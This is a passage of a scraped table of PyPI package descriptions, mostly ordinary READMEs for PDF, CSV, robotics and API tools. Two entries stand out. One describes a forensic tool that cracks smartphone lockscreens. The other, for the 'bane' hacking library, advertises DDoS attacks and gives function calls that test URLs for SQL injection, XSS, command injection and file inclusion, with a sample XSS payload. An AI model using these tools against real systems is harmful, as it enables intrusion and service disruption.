package
stringlengths 1
122
| pacakge-description
stringlengths 0
1.3M
|
---|---|
andreo1
|
Biblioteca Andreo 🌱Funções atuais:leitura de pdf com textos ou textos em imagens e transformação para string.InstalaçãoUtilize a bibliotecapip install andreo1Dependenciaspip install pdf2image
pip install numpy
pip install pytesseract
pip install opencv-pythonSistema OperacionalPara o bom funcionamento é necessária a instalação do poppler e tesseract.WindowsDeve-se adicionar ao path os seguintes arquivosTesseract Windows x64: Pasta onde fica o tesseract.exeTesseract Windows x86Poppler Windows: pasta /bin🚨🚨🚨
Apos a instalação dos dois no path o sistema, o Windows deve ser reiniciado !! 🚨🚨🚨MacOsUtilizando o HomeBrew execute os comando:brew install popplerbrew install tesseractbrew install tesseract-langExemplosFunção recortaUmaPagina(pdfPath,pagina,aI,aF,lI,lF,mode):pdfPath: String = diretorio completo do arquivo. Ex: '/Users/yourUser/yourFolder/YourPDF.pdf'pagina: Int = o numero da pagina que deseja ler ou verificar os tamanhos. Ex: 0.
!! IMPORTANTE !!: A primeira pagina do seu arquivo PDF é a 0aI, aF, lI, e lF: Int = são as coordenadas de corte. Caso não sejam preenchidas a função perguntará o tamanho do recortemode: String = O modo de uso da função. Para retornar uma string com os tamanhos da imagem use 'definicao',
para retornar o texto da area selecionada use: 'recorte'. !! IMPORTANTE !! se não for preenchido, o padrão é recorte\nExemplosandreo.recortaUmaPagina(r'yourFolder/YourPDF.pdf',0,0,800,0,800)= vai retornar o texto escrito no pdf nas cordenadas [0:800:0:800]andreo.recortaUmaPagina(r'yourFolder/YourPDF.pdf',0,'definicao')= vai permitir testar coordenadas diferentes e retorna-la como stringPara manipular um PDF, página por página para por exemplo pegar mais de uma informação dela use o código abaixo:import andreo
path = r'/Users/yourUser/yourFolder/YourPDF.pdf'
pdf = andreo.PdfCutReader(path)
allPages = pdf.allPages()
for page in range(pdf.pagesCount()):
img = andreo.img.bytes()
pg = allPages[page]
pg.save(img, format='png')
texto1 = pdf.retornaString(pdf.definicao(img.getvalue(), 0, 1500, 0, 1500))
texto2 = pdf.retornaString(pdf.definicao(img.getvalue(), 10, 244, 0, 60))
img.close()Função leUmaPaginaInteira(pdfPath: str, pagina: int):pdfPath: String = diretorio completo do arquivo. Ex: '/Users/yourUser/yourFolder/YourPDF.pdf'pagina: Int = o numero da pagina que deseja ler ou verificar os tamanhos. Ex: !! IMPORTANTE !!: A primeira pagina do seu arquivo PDF é a 0
Exemplo 1:andreo.PdfCutReader(r'yourFolder/YourPDF.pdf').leUmaPaginaInteira(0)AuthorGithub@andreonaymayer
|
andrespdf
|
This is homepage of our project
|
andrestest
|
No description available on PyPI.
|
andres-test
|
No description available on PyPI.
|
andrew
|
# andrew
the portable andrew
|
andrew-anderson-utils
|
Andrew Anderson's utilssession_protocol:
Contents protocol class (socket subclass), which is designed for safe client-server communications.dbtools:
Inspired by jQuery.
Made for SQL.
Enjoy.x_structs:
Contains implementetions of XDict and XList structs
|
andrewAudio
|
No description available on PyPI.
|
andrew-confidence-intervals
|
This library allows to calculate confidence intervals.Change Log0.0.1 (23/08/2020)First Release0.0.5 (28/08/2020)Second Release. New confidence intervals have been added.0.0.6 (05/09/2020)Third Release. More calculating details have been added to the functions. Print statements have become optional (verbose paramater added).
|
andrewfoo
|
No description available on PyPI.
|
andrewholamundoplayer
|
# Player de prueba
Esto es un reproductor de prueba
|
andrew-is-hungry-for-py
|
andrew-is-hungry-for-pyLearning how to publish to PyPi, hopefully using Github Actions
|
andrewkingdopepkg
|
Failed to fetch description. HTTP Status Code: 404
|
andrew-nester
|
No description available on PyPI.
|
andrewpdf
|
<bound method Path.read_text of WindowsPath(‘README.md’)>
|
andrew-richards-sdk
|
Lord of the rings sdkSDK for Lord of the rings apiSetupInstallpipinstalllord-of-the-rings-sdkAPI ReferenceImportsfromlord_of_the_rings_sdkimportLordOfTheRings# The first argument is the tokenapi=LordOfTheRings(base_url='url to api',token='your token')Get items example movie# Returns requests.models.Response objectresp=api.movie()# Returns json objectresp.json()Get single item example quote# if the_id is specified it returns item with specified idresp=api.quote(the_id="id of the item")# Returns json objectresp.json()Get single movie with quate# if the_id is specified it returns item with specified idresp=api.quote(the_id="id of the item",extra_path='quote')# Returns json objectresp.json()TestsClone the reporun 'test/name of test'
|
andrew-robot
|
Reverse Engineering the Andrew RobotAndrew is a robot designed to automatically perform bioscience experiments through pipetting precise quantities of liquids. The original Andrew robots are no longer supported bythe manufacturer. Additionally, the existing software is old and based on Adobe AIR, a product similar to Flash, which is no longer supported by Adobe. To revitalize old robots, this repo exists to document the hardware and software of the Andrew robots, along with providing a Python library to interface with the robot.Software LibraryTo install the package, run:$ pip install andrew_robotFor basic usage, theAndrewRobotclass can be used to control both the servos and lights of the robot.fromandrew.robotimportAndrewRobotrobot=AndrewRobot('D:\\Resources\\andrew.xml','COM3',250000,'COM4')# Set the max speed to something reasonably slowrobot.max_speed=50The AndrewRobot constructor takes the path to the andrew.xml config file, the serial port for the servos, the baud rate for the servos (this is presumably 250000 for all Andrew robots), and the serial port for the LED controller.To control the servos, themove_servos()fucntion can be used. This method will attempt to move the arm to a safe height before moving the rest of the servos to their desired position, and then changing the arm height to its own desired position.robot.move_servos(shoulder=1065,elbow=1530,wrist=1300,linear=2035,thumb=1779)The right servo values for a desired pose can be found using the examplefind_poses.py.Functions to control the LEDs are also provided. Note that these will need a slight delay after creating anAndrewRobotinstance, as the LED controller restarts upon starting serial communication.# Delay to let the LED controller restarttime.sleep(.1)robot.led_arm(0)robot.led_body(0)Before any code can be run to interface with the servos, you will need tofix the drivers they use.DocumentationCommunicating with the different parts of the robotDeep dive into the hardware of AndrewServo communication and IDsControlling the LEDsSoftware provided by Andrew AllianceLimitationsResearch for this was done largely using the 1000G model of Andrew robot (probably, it's not labeled clearly, but we believe this is one of the first generation of Andrew robots) and briefly double-checked on a 1000R, although not thoroughly. It is very possible that other robots may have issues with this library. Pull requests to improve the information and code here are welcome.
|
andrewscurves
|
No description available on PyPI.
|
andrews-xsv
|
xsv is a command line program for indexing, slicing, analyzing, splitting
and joining CSV files. Commands should be simple, fast and composable:Simple tasks should be easy.Performance trade offs should be exposed in the CLI interface.Composition should not come at the expense of performance.This README contains information on how toinstallxsv, in addition to
a quick tour of several commands.Dual-licensed under MIT or theUNLICENSE.Available commandscat- Concatenate CSV files by row or by column.count- Count the rows in a CSV file. (Instantaneous with an index.)fixlengths- Force a CSV file to have same-length records by either
padding or truncating them.flatten- A flattened view of CSV records. Useful for viewing one record
at a time. e.g.,xsv slice -i 5 data.csv | xsv flatten.fmt- Reformat CSV data with different delimiters, record terminators
or quoting rules. (Supports ASCII delimited data.)frequency- Build frequency tables of each column in CSV data. (Uses
parallelism to go faster if an index is present.)headers- Show the headers of CSV data. Or show the intersection of all
headers between many CSV files.index- Create an index for a CSV file. This is very quick and provides
constant time indexing into the CSV file.input- Read CSV data with exotic quoting/escaping rules.join- Inner, outer and cross joins. Uses a simple hash index to make it
fast.partition- Partition CSV data based on a column value.sample- Randomly draw rows from CSV data using reservoir sampling (i.e.,
use memory proportional to the size of the sample).reverse- Reverse order of rows in CSV data.search- Run a regex over CSV data. Applies the regex to each field
individually and shows only matching rows.select- Select or re-order columns from CSV data.slice- Slice rows from any part of a CSV file. When an index is present,
this only has to parse the rows in the slice (instead of all rows leading up
to the start of the slice).sort- Sort CSV data.split- Split one CSV file into many CSV files of N chunks.stats- Show basic types and statistics of each column in the CSV file.
(i.e., mean, standard deviation, median, range, etc.)table- Show aligned output of any CSV data usingelastic tabstops.A whirlwind tourLet's say you're playing with some of the data from theData Science Toolkit, which contains
several CSV files. Maybe you're interested in the population counts of each
city in the world. So grab the data and start examining it:$curl-LOhttps://burntsushi.net/stuff/worldcitiespop.csv
$xsvheadersworldcitiespop.csv1Country2City3AccentCity4Region5Population6Latitude7LongitudeThe next thing you might want to do is get an overview of the kind of data that
appears in each column. Thestatscommand will do this for you:$xsvstatsworldcitiespop.csv--everything|xsvtable
fieldtypeminmaxmin_lengthmax_lengthmeanstddevmedianmodecardinality
CountryUnicodeadzw22cn234CityUnicodebabelahmarÞykkvibaer191sanjose2351892AccentCityUnicodeBâbelAhmarïnBouChella191SanAntonio2375760RegionUnicode00Z9021304397PopulationInteger7314804980847719.570634302885.5592041077928754LatitudeFloat-54.93333382.48333311227.18816621.95261432.49722251.151038349LongitudeFloat-179.98333318011437.0888663.2230135.2823.81167162Thexsv tablecommand takes any CSV data and formats it into aligned columns
usingelastic tabstops. You'll
notice that it even gets alignment right with respect to Unicode characters.So, this command takes about 12 seconds to run on my machine, but we can speed
it up by creating an index and re-running the command:$xsvindexworldcitiespop.csv
$xsvstatsworldcitiespop.csv--everything|xsvtable
...Which cuts it down to about 8 seconds on my machine. (And creating the index
takes less than 2 seconds.)Notably, the same type of "statistics" command in anotherCSV command line toolkittakes about 2 minutes to produce similar statistics on the same data set.Creating an index gives us more than just faster statistics gathering. It also
makes slice operations extremely fast becauseonly the sliced portionhas to
be parsed. For example, let's say you wanted to grab the last 10 records:$xsvcountworldcitiespop.csv3173958$xsvsliceworldcitiespop.csv-s3173948|xsvtable
CountryCityAccentCityRegionPopulationLatitudeLongitude
zwzibalonkweZibalonkwe06-19.833333327.4666667
zwzibunkululuZibunkululu06-19.666666727.6166667
zwzigaZiga06-19.216666727.4833333
zwzikamanasvillageZikamanasVillage00-18.216666727.95
zwzimbabweZimbabwe07-20.266666730.9166667
zwzimreparkZimrePark04-17.866111131.2136111
zwziyakamanasZiyakamanas00-18.216666727.95
zwzizalisariZizalisari04-17.758888931.0105556
zwzuzumbaZuzumba06-20.033333327.9333333
zwzvishavaneZvishavane0779876-20.333333330.0333333These commands areinstantaneousbecause they run in time and memory
proportional to the size of the slice (which means they will scale to
arbitrarily large CSV data).Switching gears a little bit, you might not always want to see every column in
the CSV data. In this case, maybe we only care about the country, city and
population. So let's take a look at 10 random rows:$xsvselectCountry,AccentCity,Populationworldcitiespop.csv\|xsvsample10\|xsvtable
CountryAccentCityPopulation
cnGuankoushang
zaKlipdrift
maOuledHammou
frLesGravues
laBanPhadèng
deLüdenscheid80045qaUmmashShubrum
bdPanditgoan
usAppleton
uaLukashenkivskeWhoops! It seems some cities don't have population counts. How pervasive is
that?$xsvfrequencyworldcitiespop.csv--limit5field,value,count
Country,cn,238985
Country,ru,215938
Country,id,176546
Country,us,141989
Country,ir,123872
City,sanjose,328
City,sanantonio,320
City,santarosa,296
City,santacruz,282
City,sanjuan,255
AccentCity,SanAntonio,317
AccentCity,SantaRosa,296
AccentCity,SantaCruz,281
AccentCity,SanJuan,254
AccentCity,SanMiguel,254
Region,04,159916
Region,02,142158
Region,07,126867
Region,03,122161
Region,05,118441
Population,(NULL),3125978
Population,2310,12
Population,3097,11
Population,983,11
Population,2684,11
Latitude,51.15,777
Latitude,51.083333,772
Latitude,50.933333,769
Latitude,51.116667,769
Latitude,51.133333,767
Longitude,23.8,484
Longitude,23.2,477
Longitude,23.05,476
Longitude,25.3,474
Longitude,23.1,459(Thexsv frequencycommand builds a frequency table for each column in the
CSV data. This one only took 5 seconds.)So it seems that most cities do not have a population count associated with
them at all. No matter—we can adjust our previous command so that it only
shows rows with a population count:$xsvsearch-sPopulation'[0-9]'worldcitiespop.csv\|xsvselectCountry,AccentCity,Population\|xsvsample10\|xsvtable
CountryAccentCityPopulation
esBarañáin22264esPuertoReal36946atMoosburg4602huHejobaba1949ruPolyarnyyeZori15092grKandíla1245isÓlafsvík992huDecs4210bgSliven94252gbLeatherhead43544Erk. Which country isat? No clue, but the Data Science Toolkit has a CSV
file calledcountrynames.csv. Let's grab it and do a join so we can see which
countries these are:curl-LOhttps://gist.githubusercontent.com/anonymous/063cb470e56e64e98cf1/raw/98e2589b801f6ca3ff900b01a87fbb7452eb35c7/countrynames.csv
$xsvheaderscountrynames.csv1Abbrev2Country
$xsvjoin--no-caseCountrysample.csvAbbrevcountrynames.csv|xsvtable
CountryAccentCityPopulationAbbrevCountry
esBarañáin22264ESSpain
esPuertoReal36946ESSpain
atMoosburg4602ATAustria
huHejobaba1949HUHungary
ruPolyarnyyeZori15092RURussianFederation|Russia
grKandíla1245GRGreece
isÓlafsvík992ISIceland
huDecs4210HUHungarybgSliven94252BGBulgaria
gbLeatherhead43544GBGreatBritain|UK|England|Scotland|Wales|NorthernIreland|UnitedKingdomWhoops, now we have two columns calledCountryand anAbbrevcolumn that we
no longer need. This is easy to fix by re-ordering columns with thexsv selectcommand:$xsvjoin--no-caseCountrysample.csvAbbrevcountrynames.csv\|xsvselect'Country[1],AccentCity,Population'\|xsvtable
CountryAccentCityPopulation
SpainBarañáin22264SpainPuertoReal36946AustriaMoosburg4602HungaryHejobaba1949RussianFederation|RussiaPolyarnyyeZori15092GreeceKandíla1245IcelandÓlafsvík992HungaryDecs4210BulgariaSliven94252GreatBritain|UK|England|Scotland|Wales|NorthernIreland|UnitedKingdomLeatherhead43544Perhaps we can do this with the original CSV data? Indeed we can—because
joins inxsvare fast.$xsvjoin--no-caseAbbrevcountrynames.csvCountryworldcitiespop.csv\|xsvselect'!Abbrev,Country[1]'\>worldcitiespop_countrynames.csv
$xsvsample10worldcitiespop_countrynames.csv|xsvtable
CountryCityAccentCityRegionPopulationLatitudeLongitude
SriLankamiriswatteMiriswatte367.233333379.9
RomanialivezileLivezile26198544.51222222.863333
IndonesiatawainaluTawainalu22-4.0225121.9273
RussianFederation|RussiaotarOtar4556.97527848.305278
Francelebreuil-boisrobertleBreuil-BoisRobertA848.9455671.717026
FrancelissacLissacB145.1030941.464927
AlbanialumalasiLumalasi4640.658611120.7363889
ChinamotzushihMotzushih1127.65111.966667
RussianFederation|RussiasvakinoSvakino6955.6021134.559785
RomaniatirgupancestiTirguPancesti3846.21666727.1The!Abbrev,Country[1]syntax means, "remove theAbbrevcolumn and remove
the second occurrence of theCountrycolumn." Since we joined withcountrynames.csvfirst, the firstCountryname (fully expanded) is now
included in the CSV data.Thisxsv joincommand takes about 7 seconds on my machine. The performance
comes from constructing a very simple hash index of one of the CSV data files
given. Thejoincommand does an inner join by default, but it also has left,
right and full outer join support too.InstallationBinaries for Windows, Linux and macOS are availablefrom Github.If you're amacOS Homebrewuser, then you can install xsv
from homebrew-core:$ brew install xsvIf you're amacOS MacPortsuser, then you can install xsv
from theofficial ports:$ sudo port install xsvIf you're aNix/NixOSuser, you can install xsv from nixpkgs:$ nix-env -i xsvAlternatively, you can compile from source byinstalling Cargo(Rust'spackage manager)
and installingxsvusing Cargo:cargoinstallxsvCompiling from this repository also works similarly:gitclonegit://github.com/BurntSushi/xsvcdxsv
cargobuild--releaseCompilation will probably take a few minutes depending on your machine. The
binary will end up in./target/release/xsv.BenchmarksI've compiled somevery rough
benchmarksof
variousxsvcommands.MotivationHere are several valid criticisms of this project:You shouldn't be working with CSV data because CSV is a terrible format.If your data is gigabytes in size, then CSV is the wrong storage type.Various SQL databases provide all of the operations available inxsvwith
more sophisticated indexing support. And the performance is a zillion times
better.I'm sure there are more criticisms, but the impetus for this project was a 40GB
CSV file that was handed to me. I was tasked with figuring out the shape of the
data inside of it and coming up with a way to integrate it into our existing
system. It was then that I realized that every single CSV tool I knew about was
woefully inadequate. They were just too slow or didn't provide enough
flexibility. (Another project I had comprised of a few dozen CSV files. They
were smaller than 40GB, but they were each supposed to represent the same kind
of data. But they all had different column and unintuitive column names. Useful
CSV inspection tools were critical here—and they had to be reasonably fast.)The key ingredients for helping me with my task were indexing, random sampling,
searching, slicing and selecting columns. All of these things made dealing with
40GB of CSV data a bit more manageable (or dozens of CSV files).Getting handed a large CSV fileoncewas enough to launch me on this quest.
From conversations I've had with others, CSV data files this large don't seem
to be a rare event. Therefore, I believe there is room for a tool that has a
hope of dealing with data that large.Naming collisionThis project is unrelated to another similar project with the same name:https://mj.ucw.cz/sw/xsv/
|
andrewtcobb-my-script
|
Failed to fetch description. HTTP Status Code: 404
|
andrewtools
|
Aboutandrewtoolsis an assortment of handy Python tools made by someone named Andrew.Quick StartSupported Python VersionsPython 3.8+Mac / Linuxpip install andrewtoolsWindowspy -m pip install andrewtoolsExamplesProgress BarIf you are working on a program that uses a loop that takes a significant amount of time to execute, it can be nice to follow the progress of your program while it runs. Useprogress_barto visualize the progress via the command line.import time
from andrewtools import progress_bar
iterations = 10
for i in range(iterations):
time.sleep(0.5)
progress_bar(i, iterations, width=10, prefix="Progress")
# Printed to command line:
Progress | ***------- | 30% <- % and progress bar update in-place while loop runsWarning: this function will not play well if the loop includes other print statements. The progress bar may get printed on a separate line for each iteration, which may not be desirable.Note: in the case of a constant runtime per iteration, the progress bar provides a good estimate of the relative amount of executiontimeremaining. Be aware that in the case of variable runtimes per iteration (e.g. if there is an inner loop with a varying workload), the progress bar isnota good estimate of the remaining execution time. It simply tracks the progress through thenumberof iterations.AndrewTimerAndrewTimerprovides a simple API for a timer to use to measure execution time of your programs.from andrewtools import AndrewTimer
at = AndrewTimer()
for i in range(10):
time.sleep(0.5)
at.lap()
# Use in tandem with `progress_bar` as follows:
end = f"(Last {at.last_lap(format=True)}) (Total: {at.elapsed(format=True)})"
progress_bar(i, 10, width=10, label="Progress", end=end)
# Measure total time since instantiation
total_time = at.elapsed('s', format=True)
# Measure average time of all laps recorded on the timer
average_time = at.average('s', format=True)
# Display formatted times
print(f"Total: {total_time}, Average: {average_time}") # approx. 5.000s 0.500s
|
andrew-tst
|
Failed to fetch description. HTTP Status Code: 404
|
andrew-wf-backup
|
No description available on PyPI.
|
andrew-wf-log
|
No description available on PyPI.
|
andrewwuantestpackage
|
No description available on PyPI.
|
andrey
|
UNKNOWN
|
andrey_bot
|
UNKNOWN
|
andriatina-mail-sender
|
Mail sender gmail smtp
|
andriipdf
|
This is the homepage of our project.
|
andriller
|
Andriller CE (Community Edition)Andriller - is software utility with a collection of forensic tools for smartphones. It performs read-only, forensically sound, non-destructive acquisition from Android devices. It has features, such as powerful Lockscreen cracking for Pattern, PIN code, or Password; custom decoders for Apps data from Android (some Apple iOS & Windows) databases for decoding communications. Extraction and decoders produce reports in HTML and Excel formats.FeaturesAutomated data extraction and decodingData extraction of non-rooted without devices by Android Backup (Android versions 4.x, varied/limited support)Data extraction with root permissions: root ADB daemon, CWM recovery mode, or SU binary (Superuser/SuperSU)Data parsing and decoding for Folder structure, Tarball files (from nanddroid backups), and Android Backup (backup.abfiles)Selection of individual database decoders for Android appsDecryption of encrypted WhatsApp archived databases (.crypt to .crypt12, must have the rightkeyfile)Lockscreen cracking for Pattern, PIN, Password (not gatekeeper)Unpacking the Android backup filesScreen capture of a device's display screenPython Requirements3.6-3.10 (64-bit version recommended)It is highly advised to setup a virtual environment to install Andriller and its dependencies in it. However, it is not essential, and the global environment can also be used. Depending on how Python was setup, it may be needed to substitutepythonandpiptopython3andpip3retrospectively for the instructions below.Windows only: when installing Python fromhttps://www.python.org, make sureAdd Python to PATHis ticked.System Dependenciesadbpython3-tk[Ubuntu/Debian] Install from Terminal:sudoapt-getinstallandroid-tools-adbpython3-tk[Mac] Install from brew cask:brewcaskinstallandroid-platform-tools[Windows] :Included.Installation (Recommended way)Create a virtual environment using Python 3:python3-mvenvenvActivate the virtual environment (Linux/Mac):sourceenv/bin/activateActivate the virtual environment (Windows):.\env\Scripts\activateInstall Andriller with its Python dependencies (same command to upgrade it):pipinstallandriller-UQuick Start (run GUI)python-mandrillerLicenseMIT LicenseContributingContributions are welcome, please make your pull requests to thedevbranch of the repository.Bug TrackerBugs and issues can be submitted in the (Issues) section.DonationsYou may make donations to the projects, or you can also justbuy me a beer:
|
andrnspyke
|
No description available on PyPI.
|
androbane
|
"Oh, you think darkness is your ally. But you merely adopted the dark; I was born in it, molded by it. I didn't see the light until I was already a man, by then it was nothing to me but BLINDING! The shadows betray you, because they belong to me!" -Bane (Dark Knight).///` `.--::::::---.`` `///.
h-.-s+++/--<br>.---/+o++s:.-h
++..-. `:../s
-+ydm-..: :..-dmho:`
:odmNNNNs..-. `:..+MNNNmmy/. `
.odmNNNNMMMN`..: -..`mMMMMNNNNmy:
+mNNNNMMMMMMMo`.:` :``/MMMMMMMMNNNmy.
.yNNNNMMMMMMMMMd` `-<br>```````..-` `yMMMMMMMMMMNNNd:
-dNNNMMMMMMMMMMMN` ..-` `-`- mMMMMMMMMMMMMNNmo
:mNNNMMMMMMMMMMMMM: . `.` -MMMMMMMMMMMMMMNNNs`
/mNNNMMMMMMMMMMMMMMy --- .-- oMMMMMMMMMMMMMMMNNNy`
:mNNNMMMMMMMMMMMMMMMN```:.````````.:```dMMMMMMMMMMMMMMMMNNNy`
-mNNNNMMMMMMMMMMMMMMMMo`.-` `-.`+MMMMMMMMMMMMMMMMMNNNNo
hNNNNNMMMMMMMMMMMMMMMMm.``- .``.dMMMMMMMMMMMMMMMMMMNNNm-
-NNNNNMMMMMMMMMMMMMMMMMM-..: -<br>NMMMMMMMMMMMMMMMMMMNNNNs
oNNNNNMMMMMMMMMMMMMMMMMMo``.` -` +MMMMMMMMMMMMMMMMMMMNNNNm
:dNNNNNNMMMMMMMMMMMMMMMMMd<br>-``````<br>.hMMMMMMMMMMMMMMMMMMMNNNNNs.
.ssmNNNNNNMMMMMMMMMMMMMMMMMM.``/:. .-/```NMMMMMMMMMMMMMMMMMMNNNNNNyy+` `
`oy: mNNNNNNMMMMMMMMMMMMMMMMMM/``-` `-``:MMMMMMMMMMMMMMMMMMMNNNNNN/`+y: `
+y` dNNNNNNMMMMMMMMMMMMMMMMMMy..-:- --:..oMMMMMMMMMMMMMMMMMMMNNNNNN: -N`
m- hNNNNNNMMMNdhhyyhddmMMMMMd```:.``.:```hMMMMNdhso++++shmNMMMNNNNN: yo `
/d yNNNNNMMh/-````````.-/ydNM.``- -```NNds:.`..-----..-sNMMNNNNN- -m`
h+ sNNNNNMMmsyhddmmmdhs:` `-o/../` `/-.:+-` `:yhddmNNNNmmNMMMNNNNN. d/
m/ oNNNNNMMMMMMMNdyssoooo:` `:..``.+```.-. :o++//+yydMMMMMMMMNNNNN` .so
d-- /NNNNNNMMMMMmyhm// ymy.`- o `- odm:- .ddssNMMMMMNNNNNm /:s
.h / :NNNNNNNMMMmhshhy+++ohy/. .: `o` `/``-shysssyddddNMMMMNNNNNNd --.h
-y `: .NNNNNNNMMMMMMMMNNmmmhys/:.`..``.``..`-:syhhdmNNMMMMMMMMMMNNNNNy / `d
:s :` dNNNNNMMMMMMMMMNNNmmNNh- `.` `.` `+mMNNNNNMMMMMMMMMMNNNNN+ :` m `
/o /` oNNNNMMMMMMMMMMMMMMmd+.. `.:- -` - -:.. -sddmNMMMMMMMMMMMMNNNm. .: m `
++ `:``dNNNMMMMMMMMMMMNo+/.`./-. o` --` o `-/.``/+omMMMMMMMMMMNNNo .: d` `
-h `:`:mNNMMMMMMMMMMd-.+.+--:.`.+.-.::.-./-`.:--/:+..hMMMMMMMMMNNh`.: -h `
s: `:`+mNMMMMMMMMMm- `/:` o/://++:++++:+/+/:/o``:+` .mMMMMMMMMNd..: y-
.h `:`/hNMMMMMMd+: -::<br>s-:+`.+:+-.+:+:`/:-+:-.-:- :NMMMMMMNy.-- :y
o/ ` `:``:ymMNh:`- /:-+`o::/` +:/. +:+` /::o./--+ /omMNdo- -- ` h.
`d` `+.` :.` -s: -` ./:::`/::/ +-/. +-+` :::/`-:::- `-`++.``-. `-+ :s
o+ /`-:``.-. `- /--/ /:-: +-/. +-+ :-:+ /--/ .. `--. .:..: h.
`d` :` +h+. - `+-:: .+-:+..-+://-+:+-../:-+-`-:-/. -` -yd. / /s
o+ `:. -ydo. -` //::..o/-:o:.//:/++/:/+.:+/-/+: /::o : :yd+``-- d.
`d .:. -sy .. .o--+ -.+-.`.-/<br>:/<br>/--`.-+.: +--o- `/d+``--`:s
s/ .:` :.:```-o--o.-.:-` `:/ .: /:` `-/ / s:-o-```+``.-` h.
.h -:`/.///`/..`:-.:`<br> <br><br><br>. <br>`: /--../ //:o.:.-y
s: -o/::/:--.-.-.: : /`:.---/::+. y-
`h. ``/. `/ ` -.:``` <br><br>..` ```: / ` :` ./. +o
.y. -.-- -.:.``- -```::```: ..`./ : .-.-` /s
.y- -.:```: :/::o+/::/ : ``: : `+o
`s+` -..- -.o/:/: `+::+//:+. -/::o`: ..`-` .s/
:s- ./- `- -.o//o. /:::-::+ `o//o : -` ./.`+o.
`/o:+..+`.` -.://+<br>+--//:-+<br>////`: `../-.ss-
/h /` ..-` .-o/+:..+--//:-+..-o/+:.` `-.- `+ y-
o+``.-+-.::<br>o//o- /--::--+ .o//s<br>:/.-//:``:s
-o:```.//: :+::+.o--oo:-o.+::+/ :/o.```:o:
-o++oy.: .- /`o::oo:-+-/ -- /o++++o:
`os .. /..//../ ..` `s:
`o+. `:`:-.-. `.++-
`/+/.` `. .` `-++:`
`:+++/:-<br>-:+++/-
`.-::--`
`INTRODUCTION:This python library is made for educationnal purposes only. Me, as the creator and developper, not responsible for any misuse for this module in any malicious activity. it is made as a tool to understand how hackers can create their tools and performe their attacks. it contains most of known attacks and exploits. it can be used to perform: DoS and DDoS attacks (all known tools are included), information gathering, scrapping proxies, crawling, google dorking, checking for vulnerabilities (sql injection (all types), xss, command execution, php code injection, FI, forced browsing) and even more ;)SPECIAL SPEECH:this is dedicated to my mentor: Zachary Barker (https://www.facebook.com/zachary.barker.5439), he was my leader and teacher through my journey in hacking world and groups, we have been through a lot together and were there in many operations when i was an active member in blackhat community but now he is dead in a hit-and-run :( . he was one of my true cyber bros:-S0u1 (https://www.facebook.com/S0u1.HLoTW) : programmer and blackhat.-Vince (https://www.facebook.com/vincelinux) : Linux and hardware expert, social engeneering and programmer.-Zachary Barker (lulz zombie) : teams leader, anarkist, ops organizer, progammer, cyber security expert and blackhat.-Lulztigre (https://www.twitter.com/lulztigre) : Bug Bounty Hunter, Penetration Tester And Python Programmer.-Jen Hill.in the honor of all my bros and the memory of my bro zach im sharing all my personal hacking tools with public for the first time. plz use it wisely :)now let's start some tutorials, shall we?TUTORIALS:I-INSTALLING THE LIBRARY AND IMPORTING:you can use pip to do that:pip install baneor you can clone the project's link then run setup.pygit clonehttps://github.com/AlaBouali/banecd banepython setup.py installto import it you just do:import baneNOTES:-you need to install "expect" on linux or mac-for windows' users you can't use: bane.ssh1() and bane.telnet1() because they depend on pexpect and it need expect package to work, which can't be installed on windows-termux's users can't use this library cuz some module can't be installed, so it's pointless :(II-USAGE:this module have many incredible, useful and easy use functions that can be implemented in any project that is related to Web Application's Security.Vulnerabilities:default parameters:logs=True (print the test's result on the screen, set to False to not display).returning=False (return a value indicating the success (1/True) or fail (0/False) of the test).timeout: timeout value.proxy: same way as you use "proxies" parameters in requests.1-SQL-Injection:(useful link: https://www.acunetix.com/websitesecurity/sql-injection2/ )let's start with a simple SQL Injection testing. there are some techniques that can tell us if the web application is vulnerable to SQL-Injection or not, there is:-Error Based.-boolean based.-time based.here we have functions that can determinate whether the web application is vulnerable to SQL-Injection or not using the mentioned techniques.bane.sqlieb('http://example.com/index.php?id=5')#testingfor Error Based SQLIbane.sqlitb('http://example.com/index.php?id=5')#testingfor Time Based SQLIbane.sqlibb('http://example.com/index.php?id=5')#testingfor Boolean Based SQLIt
hey return only 2 possible results:False: the target is not vulnerable.True: the target is vulnerable.2-XSS:(useful link: https://www.acunetix.com/vulnerabilities/web/cross-site-scripting/ )Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.here we have a function to get all html inputs in any webpage and test each input one by one against this attack with both: GET and POST methods.bane.xss('https://xss-game.appspot.com/level1/frame')output:Getting parametersTest has startedPayload:<script>alert("Vulnerable!!!");</script>parameter: query method: GET=> [+]Payload was foundparameter: query method: POST=> [-]Payload was not foundthere is a default payload which is used in case you didn't modify the "payload" parameter (set by default to: None) to any XSS payload.you can set differnet xss payloads to test everytime with possibility to use a proxy.there is another functions to test with:bane.xssget('http://example.com/index.php',{parameter: xss-payload-here})bane.xsspost('http://example.com/index.php',{parameter: xss-payload-here})3-FI:(File Inclusion): (useful link:https://www.acunetix.com/vulnerabilities/web/file-inclusion/)we can test a web application if it is vulnerable to FI using this function:bane.fi('http://example.com/index.php?file=page1.php')it returns (in case the parameter "returning" set to: True) a dict that contains{ "Status" : status # ==>True if success or False is fail
,"Nullbyte" : nullbyte # ==>True if "nullbyte" parameter is set to True,"Link" : r.url # ==> the result URL}4-PHP code injection:(useful link:https://www.acunetix.com/vulnerabilities/web/php-code-injection/)to test a web application against PHP code injection we can use those functions:bane.injectlink('http://example.com/index.php?id=2')if it returns:False: not vulnerableTrue: vulnerableyou can use another functions to do that as well:bane.getinject('http://example.com/index.php',param=parameter-here)bane.postinject('http://example.com/index.php',param=parameter-here)5-command injection:(useful link:https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013))OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.here we can test the web application against this type of vulnerabilities using those functions:bane.execlink('http://example.com/index.php?doc=1')bane.getexec('http://example.com/index.php',param=your_parameter_here)bane.postexec('http://example.com/index.php',param=your_parameter_here)5-forced browsing:(useful link:https://www.owasp.org/index.php/Forced_browsing)Forced browsing is an attack where the aim is to enumerate and access resources that are not referenced by the application, but are still accessible.An attacker can use Brute Force techniques to search for unlinked contents in the domain directory, such as temporary directories and files, and old backup and configuration files. These resources may store sensitive information about web applications and operational systems, such as source code, credentials, internal network addressing, and so on, thus being considered a valuable resource for intruders.This attack is performed manually when the application index directories and pages are based on number generation or predictable values, or using automated tools for common files and directory names.This attack is 